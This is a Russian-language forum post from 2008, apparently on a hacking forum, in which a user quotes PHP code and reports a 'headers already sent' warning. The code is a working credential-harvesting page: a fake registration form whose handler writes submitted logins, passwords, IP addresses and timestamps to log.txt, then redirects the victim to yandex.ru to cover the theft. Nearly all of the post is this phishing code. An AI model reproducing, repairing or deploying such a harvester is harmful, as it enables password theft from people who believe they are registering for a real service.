
20.04.2008, 22:32
|
|
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме: 132616
Репутация:
10
|
|
Сообщение от .:EnoT:.
омг
PHP код:
<?php
ob_start();
function reglog($filename, $login, $pass)
{
$d = date("d.m.Y - H.i.s");
$addr = getenv('REMOTE_ADDR');
$str = 'Login '.$login."\n";
$str .= 'Password '.$pass."\n";
$str .= 'IP '.$addr."\n";
$str .= 'Date '.$d."\n";
$f = fopen($filename, "a+");
fwrite($f, $str."\n");
fclose($f);
header('location: http://yandex.ru');
return true;
}
$filename = 'log.txt';
if (isset($_POST['go'])) reglog($filename, $_POST['login'], $_POST['pass']);
ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
<tr>
<td width="25%">Login</td>
<td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" maxlength="15" name="pass" style="width: 250"></td><br>
<tr>
<td>Password2</td>
<td><input type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Register" name="go"><br>
</td>
</tr>
</form>
Сверавно:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 102
102 return true;
Последний раз редактировалось -=Dem0n=-; 20.04.2008 в 22:36..
|
|
|